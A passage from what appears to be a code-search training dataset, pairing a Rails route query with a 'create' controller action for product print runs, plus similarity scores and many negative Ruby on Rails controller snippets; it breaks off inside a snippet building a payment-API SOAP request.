respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @prd_etc = PrdEtc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end", "def new\n default_data\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @ppos_prerequisite = PposPrerequisite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ppos_prerequisite }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def new\r\n @product = Product.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @product }\r\n end\r\n end", "def new\n @produto_kit = ProdutoKit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto_kit }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @parent_product }\n end\n end", "def new\n @product = Product.new(:active => true)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product_status = ProductStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_status }\n end\n end", "def new\n @precio = Precio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @precio }\n end\n end", "def new\n @product_info = ProductInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_info }\n end\n end", "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @press }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_review_product }\n end\n end", "def new\n session[:company_id] = session_status\n @product_licence = ProductLicence.new\n @products = Product.all(:order =>\"name\").map{|prd| [prd.name, prd.id]}\n @companies = Company.getcompanylist(current_user.company_id)\n @company = Company.find(session[:company_id]) unless session[:company_id].blank?\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_licence }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_family_product }\n end\n end", "def new\n @sample_product = SampleProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sample_product }\n end\n end", "def new\n # @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @artist_product }\n end\n end", "def new\n @prize = Prize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prize }\n end\n end", "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partenaire }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end", "def new\n @product_list = ProductList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_list }\n end\n end", "def new\n @product_specification.product = @product\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_specification }\n end\n end", "def new\n @promos = Promos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @promos }\n end\n end", "def new\n #Don't know of a cleaner way to do this, but need to make sure that the default status is set to unorderd\n status_id = ProductRequestStatus.find_by_name(\"Unordered\" || 1).id\n @product_request = ProductRequest.new(:product_request_status_id => status_id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_request }\n end\n end", "def new\n @st_use = StUse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_use }\n end\n end", "def new\n if params[:product_id]\n @badge.product = Product.find(params[:product_id])\n end\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @badge }\n end\n end", "def new\n @user_product_xref = UserProductXref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_product_xref }\n end\n end", "def new\n @package = Package.new\n @priority = Priority.find(:all)\n #logger.debug @priority[0]\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @package }\n end\n end", "def new\n @product_line = ProductLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_line }\n end\n end", "def new\n @st_pi = StPi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_pi }\n end\n end", "def new\n @produtividade = Produtividade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produtividade }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n format.json { render :json => @product }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_batch }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end", "def new\n\t \t# @product = Product.create( name: params[:name], description: params[:description])\n\t \t# redirct_to '/products/index'\n \tend", "def new\n @ptid = Ptid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptid }\n end\n end", "def new\n @periode = Periode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periode }\n end\n end", "def new\n @plantilla = Plantilla.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plantilla }\n end\n end", "def new\n @catalogs_priority = Catalogs::Priority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalogs_priority }\n end\n end", "def new\n @se_use_production_data = SeUseProductionData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @se_use_production_data }\n end\n end", "def new\n @nr_parameter = NrParameter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nr_parameter }\n end\n end", "def new\n @catalog_product = CatalogProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog_product }\n end\n end", "def new\n @installation = Installation.find(params[:installation_id]) \n @offpost = Offpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offpost }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_training_class }\n end\n end", "def new\n @tipp = Tipp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipp }\n end\n end", "def new\n @prd_threshold = PrdThreshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_threshold }\n end\n end", "def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end", "def new\n @bp_triple = BpTriple.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bp_triple }\n end\n end", "def new\n @lista_precio = ListaPrecio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lista_precio }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_cabinet }\n end\n end", "def new\n @progre = Progre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @progre }\n end\n end", "def new\n new_prc\n\n setup_campuses_and_semesters\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prc }\n end\n end", "def new\r\n @product_result = ProductResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @product_result }\r\n end\r\n end", "def new\r\n @product_result = ProductResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @product_result }\r\n end\r\n end", "def new\r\n @product_result = ProductResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @product_result }\r\n end\r\n end", "def new\r\n @product_result = ProductResult.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @product_result }\r\n end\r\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n @partei = Partei.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partei }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @production = Production.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @production }\n end\n end", "def new\n @p_stat = PStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @p_stat }\n end\n end", "def new\n @puffin_order = PuffinOrder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @puffin_order }\n end\n end", "def new\n @ru_pusk = RuPusk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ru_pusk }\n end\n end", "def new\n @rep = Rep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rep }\n end\n end", "def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @premio }\n end\n end", "def new\n @pais = Pais.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pais }\n end\n end", "def new\n @prerequisite = Prerequisite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prerequisite }\n end\n end", "def new\n @tabela_preco_produto = TabelaPrecoProduto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tabela_preco_produto }\n end\n end", "def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end" ]
[ "0.70992976", "0.7025299", "0.6998484", "0.6950256", "0.6943805", "0.6932873", "0.6849657", "0.68334633", "0.6822813", "0.67955315", "0.67910445", "0.67889583", "0.67810893", "0.677286", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.6757612", "0.67507535", "0.67497545", "0.6745748", "0.6735103", "0.67319435", "0.6708702", "0.6708702", "0.6707772", "0.6683269", "0.66724783", "0.6665124", "0.6660532", "0.6659906", "0.66555023", "0.6621047", "0.66145086", "0.66137946", "0.66082627", "0.66051847", "0.6599931", "0.658991", "0.65877295", "0.6577739", "0.6577739", "0.65750915", "0.65743774", "0.6572434", "0.6572063", "0.65642005", "0.6556289", "0.65544796", "0.65533006", "0.6550869", "0.65473413", "0.6539026", "0.6529832", "0.6519089", "0.6518126", "0.65142304", "0.6513524", "0.6510419", "0.6506261", "0.6505984", "0.6504663", "0.649812", "0.649369", "0.6482665", "0.6479432", "0.6478541", "0.64748555", "0.64730257", "0.6468", "0.646696", "0.6465283", "0.6451748", "0.64414537", "0.64406455", "0.64365214", "0.64365214", "0.64365214", "0.64365214", "0.6434847", "0.6434527", "0.64296937", "0.6428401", "0.6428048", "0.64198405", "0.64120203", "0.64096373", "0.6408034", "0.6397902", "0.63962954", "0.6395506", "0.63933235", "0.6392869" ]
0.6875149
6
POST /product_use_printruns POST /product_use_printruns.xml
def create @product_use_printrun = ProductUsePrintrun.new(params[:product_use_printrun]) @product_categories = ProductCategory.find(:all) checked_features = check_features_using_helper( params[:product_prints_list], ProductCategory, @product_use_printrun.product_categories ) respond_to do |format| if @product_use_printrun.save flash[:notice] = 'ProductUsePrintrun was successfully created.' format.html { redirect_to :controller => 'product_categories', :action => "index" } format.xml { render :xml => @product_use_printrun, :status => :created, :location => @product_use_printrun } else format.html { render :action => "new" } format.xml { render :xml => @product_use_printrun.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @product_use_printruns = ProductUsePrintrun.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_use_printruns }\n end\n end", "def create\r\n @se_use_product = SeUseProduct.new(params[:se_use_product])\r\n\r\n respond_to do |format|\r\n if @se_use_product.save\r\n format.html { redirect_to(@se_use_product, :notice => 'Se use product was successfully created.') }\r\n format.xml { render :xml => @se_use_product, :status => :created, :location => @se_use_product }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @se_use_product.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def sales_upsale_product_params\n params.require(:sales_upsale_product).permit(:product_list_id)\n end", "def create\n\n @prd_attribute = PrdAttribute.new\n\n @prd_attribute.bill_type_id = params[:prd_attribute]['bill_type'].to_i\n @prd_attribute.name = params[:prd_attribute]['name']\n @prd_attribute.rollover = params[:prd_attribute]['rollover']\n @prd_attribute.code = params[:prd_attribute]['code']\n @prd_attribute.prd_type = params[:prd_attribute]['prd_type']\n @prd_attribute.description = params[:prd_attribute]['description']\n @prd_attribute.status_id = params[:prd_attribute]['status'].to_i\n\n @prd_attribute.service_type_id = params[:prd_attribute]['service_type'].to_i\n @prd_attribute.monthly_fee = params[:prd_attribute]['monthly_fee'].to_i\n @prd_attribute.subscription_fee = params[:prd_attribute]['subscription_fee'].to_i\n @prd_attribute.target_user = params[:prd_attribute]['target_user']\n @prd_attribute.start_date = params[:prd_attribute]['start_date']\n @prd_attribute.end_date = params[:prd_attribute]['end_date']\n\n respond_to do |format|\n if @prd_attribute.save\n format.html { redirect_to(@prd_attribute, :notice => 'PrdAttribute was successfully created.') }\n format.xml { render :xml => @prd_attribute, :status => :created, :location => @prd_attribute }\n format.json {\n\t\t\tproduct = Product.new\n product.prd_attribute_id = @prd_attribute.id\n product.save!\n\n # bundle일 때에는 해당하는 product id들을 저장\n #\n if params[:prd_attribute]['prd_type'].upcase == 'BUNDLE'\n product_ids = []\n\t\t\t params[:prd_attribute]['ref_products'].each do |product_id|\n\t\t\t product_ids << product_id['product_id'].to_s\n\t\t end\n\t\t @prd_attribute.ref_products = product_ids.join(\",\")\n end \n\t\t @prd_attribute.save\n\n # product devices 저장\n #\n if not params[:prd_attribute]['devices'].blank?\n params[:prd_attribute]['devices'].each do |device|\n prd_attribute_device = PrdAttributeDevice.new\n prd_attribute_device.code_factor_id = device['device'].to_i\n prd_attribute_device.prd_attribute_id = @prd_attribute.id\n prd_attribute_device.product_id = product.id\n prd_attribute_device.save!\n end\n end\n\n # product에 대한 기본 conditions 설정\n #\n product.set_default_conditions(@prd_attribute, product)\n\n\t\t\trender :json => mapping_to_hash(@prd_attribute, PrdAttribute.json_mapping_table), :status => :created, :location => @prd_attribute \n\t\t}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prd_attribute.errors, :status => :unprocessable_entity }\n format.json { \n\t\t\trender :json => @prd_attribute.errors, :status => :unprocessable_entity \t}\n end\n end\n end", "def create\n @repair_use = RepairUse.new(params[:repair_use])\n @product = Product.find(params[:product_id])\n @repair_use.product = @product\n \n respond_to do |format|\n if @repair_use.save\n format.js { render :action => \"create_repair\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repair_use.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_to_newgistics\n document = Spree::Newgistics::DocumentBuilder.build_product([self])\n response = Spree::Newgistics::HTTPManager.post('/post_products.aspx', document)\n\n if response.status == 200\n errors = Nokogiri::XML(response.body).css('errors').children.any?\n update_column(:posted_to_newgistics, true) unless errors\n end\n\n end", "def create\n @ordered_product = OrderedProduct.new(params[:ordered_product])\n rented_products = params['rented_products'] ? params['rented_products'] : {}\n # p product_packages\n respond_to do |format|\n format.html { redirect_to @ordered_product.complex_triggered_save(current_user.id, rented_products) }\n end\n end", "def product_params\n params.require(:product).permit(:name, :soil, :utilization, :active, :photo, :description, :cycle_id, :purpose_ids =>[], :products_purposes_relation_ids =>[], :cultivation_ids =>[])\n end", "def create\n @sales_upsale_product = SalesUpsaleProduct.new(sales_upsale_product_params)\n\n respond_to do |format|\n if @sales_upsale_product.save\n format.html { redirect_to sales_upsale_products_url, notice: 'Sales upsale product was successfully created.' }\n format.json { render :show, status: :created, location: @sales_upsale_product }\n else\n format.html { render :new }\n format.json { render json: @sales_upsale_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_product(add_params = nil)\n params = {\n uid: uid,\n }\n api_call('/stores/:uid/products(.:format)',:post,params,add_params)\n end", "def send_product(product)\n request(product, \"product\", :post, {method: \"add\"})\n end", "def update\n @product_use_printrun = ProductUsePrintrun.find(params[:id])\n @product_categories = ProductCategory.find(:all)\n checked_features = check_features_using_helper( params[:product_prints_list], ProductCategory, @product_use_printrun.product_categories )\n uncheck_missing_features_helper( @product_categories, checked_features, @product_use_printrun.product_categories )\n \n respond_to do |format|\n if @product_use_printrun.update_attributes(params[:product_use_printrun])\n flash[:notice] = 'ProductUsePrintrun was successfully updated.'\n format.html { redirect_to :controller => 'product_categories', :action => \"index\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_use_printrun.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @product_use_printrun = ProductUsePrintrun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_use_printrun }\n end\n end", "def create\n @product = Product.new(product_params)\n\n #permitted_columns = params[:products_purposes_relations].permit(:product_id, :purpose_id, :stars)\n # @products_purposes_relation = @product.products_purposes_relations.create(permitted_columns)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: t('create_success') }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def product_params\n params.require(:product).permit(:product_code, :upg_description, :compound, :nec_article, :shielded, :application, :strand_type, :pairs_count, :awg, :stand_count, :stranded, :solid, :putup, :length, :unit_weight_lbs, :unit_weight_kgs, :nom_od, :unit_copper_weight, :carton_quantity, :selected_app)\n end", "def product_params\n params.require(:product).permit(:substancename, :nonproprietaryname, :propname, :producttype, :dosageform, :routename, :marketingcategory, :activenumerator, :activeingredunit, :seller_id, :price, :term, :order)\n end", "def create\n @product = Product.new(product_params)\n @product.user_id = current_user.id\n @product.rented = false\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Your product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_params\n params.require(:product).permit(:pid, :name, :uname, :desc, :startbid, :deadline, :contact, :image, :bb, :price, :tbid, :claimed_by, :pbid, :pbidprice)\n end", "def set_sales_upsale_product\n @sales_upsale_product = SalesUpsaleProduct.find(params[:id])\n end", "def create\n @products_purposes_relation = ProductsPurposesRelation.new(products_purposes_relation_params)\n\n respond_to do |format|\n if @products_purposes_relation.save\n format.html { redirect_to @products_purposes_relation, notice: t('create_success') }\n format.json { render :show, status: :created, location: @products_purposes_relation }\n else\n format.html { render :new }\n format.json { render json: @products_purposes_relation.errors, status: :unprocessable_entity }\n end\n end\n end", "def prduct_params\n params.require(:prduct).permit(:name, :product_type, :description, :manufacturer_id, :has_mib, :has_access, project_ids: [])\n end", "def create\n @product = @productable.products.find(params[:product_id])\n ids = params[:products]\n reals = @productable.products.map(&:id) # Make a lambda with this\n present_prod = ids.select { |n| reals.include?(n) } # And this\n if @product.update(product_relations: present_prod)\n render json: @product, status: 200\n else\n render json: @product.errors, status: 422\n end\n end", "def product_params\n params.require(:product).permit(:title, :body_html, :image, :price, :product_type, :compare_at_price, :cost, :sku, :barcode,:tracked, :available,:quantity, :incoming, :continue_selling, :weight, :weight_unit, :countries, :inventory_quantity, :inventory_item_id, :inventory_management, :inventory_policy, :requires_shipping, :fulfillment_service, :location_id, :location, :vendor)\n end", "def product_params\r\n params.require(:product).permit(:code, :name, :barcode, :price_in, :price_out, :section_id, :unit_id, :refill, :unit_refill_id, :service, :discount_value, :tax, :note)\r\n end", "def create\n @requests_devolutions_product = Requests::Devolutions::Product.new(params[:requests_devolutions_product])\n @requests_devolutions_product.status = @default_status\n @requests_devolutions_product.user = current_user\n respond_to do |format|\n if @requests_devolutions_product.save\n format.js { render action: 'show' }\n else\n format.js {\n render action: \"new\"}\n end\n end\n end", "def create\n @preproduct = Preproduct.new(preproduct_params)\n\n respond_to do |format|\n if @preproduct.save\n format.html { redirect_to new_product_path , notice: 'Product was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def set_preproduct\n @preproduct = Preproduct.find(params[:id])\n end", "def transaction_params\n params.permit(:product_offered_id, :product_req_id)\n end", "def destroy\n @product_use_printrun = ProductUsePrintrun.find(params[:id])\n @product_use_printrun.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_use_printruns_url) }\n format.xml { head :ok }\n end\n end", "def omega\n products = GetProducts.new.send_request\n SaveProducts.new(products[:productRecords]).save\n end", "def new\n @product_use_printrun = ProductUsePrintrun.new\n @product_categories = ProductCategory.find(:all)\n @product_use_printrun.product_categories << @product_categories[params[:id].to_i-1] if params[:id]\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_use_printrun }\n end\n end", "def create\n entry = params[:pro_entry]\n var = entry[:products_id] \n\n\n @product = Product.find(var)\n cant_product = @product.quantity\n puts \"#{cant_product} estaes la 1111111**************************************************************###}\"\n\n @pro_entry = ProEntry.new(pro_entry_params) \n qu_in = @pro_entry.quantity_input \n puts \"#{qu_in} cantidad subida**************************************************************###}\"\n \n inputs = cant_product + qu_in\n puts \"#{inputs} suma del 33333**************************************************************###}\"\n\n @product.quantity = inputs\n\n @product.save\n\n url= \"/products/\"\n\n respond_to do |format|\n if @pro_entry.save\n format.html { redirect_to url, notice: 'Pro entry was successfully created.' }\n format.json { render :show, status: :created, location: url }\n else\n format.html { render :new }\n format.json { render json: url.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_params\n params.require(:product).permit(:codigo, :descripcion, :detalle, :montoU)\n end", "def create\n @product = Product.new(product_params)\n @product.user_id = current_user.id\n @product.status = 0\n respond_to do |format|\n if @product.save\n \n send_emails_for_alerts(@product)\n\n format.html { redirect_to @product, notice: \"Has creado un producto. Ojalá encuentre un nuevo hogar pronto :)\" }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @own_product = OwnProduct.new(own_product_params)\n\n respond_to do |format|\n if @own_product.save\n format.html { redirect_to @own_product, notice: 'Own product was successfully created.' }\n format.json { render :show, status: :created, location: @own_product }\n else\n format.html { render :new }\n format.json { render json: @own_product.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_in_out_params\n params.require(:product_in_out).permit( :product_id, :code, :num, :in_or_out,\n :create_user_id, :modify_user_id, :stop_user_id,\n :serial , :store_area_id , :level ,:save_date,\n :stoped_at , :state , :in_out_type_id)\n end", "def product_params\n params.require(:product).permit(:name, :uuid, :published, :company_id, :user_id)\n end", "def product_params\n params.require(:product).permit(:image, :title, :sku, :catagory, :price, :description, :subdescription, :install_ids , :quantity, :exvat_price, :buom , :suom)\n end", "def set_product\n \n end", "def product_params\n params.require(:product).permit(:name, :product_code, :client_id, :date , :standard , :non_standard )\n end", "def users_product_params\n params.require(:user).permit(:salutation_id, :first_name, :last_name, :email, :email2, \n :job_title, :company, :address1, :address2, :city, :county, :post_code, :country_id,\n :phone, :phone2, :soundcraft_optin, :third_party_optin,\n :users_products_attributes => [:serial, :product_id, :purchased_date, :purchased_from, :purchased_amount,\n :comment, :application_id, :influence, :hear_from, :user_id])\n end", "def products\n @products = ['ninja', 'fish', 'chauffeur']\n respond_to do |format|\n format.html # render html version\n format.xml {\n # NOTE This only works for ActiveRecord objects\n # render :xml => @products.to_xml\n render :file => \"machines/products.rxml\", :use_full_path => true\n }\n end\n end", "def create_product(prod)\n\n purchase_price = BigDecimal.new(\"0.0\")\n purchase_price = BigDecimal.new(prod['purchase_price'].to_s) unless prod['purchase_price'].nil?\n sales_price = nil\n sales_price = BigDecimal.new(prod['sales_price']) unless prod['sales_price'].nil?\n weight = 0\n weight = prod['weight'].to_f unless prod['weight'].nil?\n manufacturer_product_code = prod['manufacturer_product_code']\n stock = prod['stock'].to_i unless prod['stock'].nil?\n\n tax_percentage = prod['tax_percentage'] || 8.0\n tax_class = TaxClass.where(:percentage => tax_percentage).first unless tax_percentage.nil?\n if tax_class.nil?\n tax_class = TaxClass.create(:percentage => 8.0, :name => \"8.0\")\n end\n\n prod['description'].blank? ? description = \"No description\" : description = prod['description']\n \n is_featured = false\n is_featured = true if [\"yes\", \"true\", \"1\"].include?(prod['featured'])\n is_visible = true\n is_visible = false if [\"no\", \"false\", \"0\"].include?(prod['visible'])\n is_build_to_order = false\n is_build_to_order = true if [\"yes\", \"true\", \"1\"].include?(prod['build_to_order'])\n \n supplier = Supplier.find_by_name(prod['supplier'])\n\n product = Product.where(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier_id => supplier,\n :tax_class_id => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock).first\n if product.nil?\n product = Product.create(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier => supplier,\n :tax_class => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock)\n end\n if prod['category']\n category = Category.where(:name => prod['category']).first\n category = Category.create(:name => prod['category']) if category.nil?\n product.categories << category\n product.save\n end\n\n\n # Ugly, but at least it makes test authors know what went wrong\n if product.errors.empty?\n return product\n else\n puts \"Errors creating product: #{product.errors.full_messages}\"\n return false\n end\nend", "def create\n @skipped = SupplierProduct.assign_products(@product_ids,@supplier)\n flash[:notice] = \"Assigned (#{@product_ids.size - @skipped.size}) products.\"\n self.load_view_vars\n respond_to do |format|\n format.html { render :index }\n format.xml { render :xml => @skipped }\n format.js\n end\n end", "def transaction_params\n params.require(:transaction).permit(:product_req_id, :product_offered_id, :status, :user_prod_req, :user_prod_offe)\n end", "def spree_custom_product_params\n params.require(:spree_custom_product).permit!\n end", "def product_params\n params.require(:product).permit(:products)\n end", "def product_params\n params.require(:product).permit(:product_code, :skull_id, :provider_id, :warehouse_id, :import_id, :name, :import_quality, :available_quality, :instock_quality, :import_price, :expire)\n end", "def product_params\n params.require(:product).permit(:name, :description, :project_id,\n feature_ids: [])\n end", "def create\n @product = Product.new(product_params)\n @product.save\n set_products\n end", "def create\n @user_product_xref = UserProductXref.new(params[:user_product_xref])\n\n respond_to do |format|\n if @user_product_xref.save\n format.html { redirect_to(@user_product_xref, :notice => 'User product xref was successfully created.') }\n format.xml { render :xml => @user_product_xref, :status => :created, :location => @user_product_xref }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_product_xref.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(options = nil)\n request = Request.new(@client)\n path = \"/products\"\n data = {\n \"name\"=> @name, \n \"amount\"=> @amount, \n \"currency\"=> @currency, \n \"metadata\"=> @metadata, \n \"request_email\"=> @request_email, \n \"request_shipping\"=> @request_shipping, \n \"return_url\"=> @return_url, \n \"cancel_url\"=> @cancel_url\n }\n\n response = Response.new(request.post(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"product\"]\n \n \n return_values.push(self.fill_with_data(body))\n \n\n \n return_values[0]\n end", "def create\n # all_tags = params[:all_tags]\n if current_user.id == 1\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n # @product.all_tags = all_tags\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render :index }\n # format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unread\n\n @cart = current_cart\n if @cart.line_items.empty?\n redirect_to :controller=>'main', :action=>'index', :notice => \"Your cart is empty\"\n return\n end\n\n\n @order = Order.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n\n @line_item = LineItem.find_by_cart_id(@cart)\n #getting branches\n supermarket = @line_item.product.seller.id\n @branches = Branch.find_all_by_seller_id(supermarket)\n\n # ******* sending request to PegPay server ******************\n # call the http post method\n @date = \"#{Time.now}\"\n url = URI.parse('https://41.190.131.222/pegpaytelecomsapi/PegPayTelecomsApi.asmx?WSDL')\n \n post_xml ='<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" 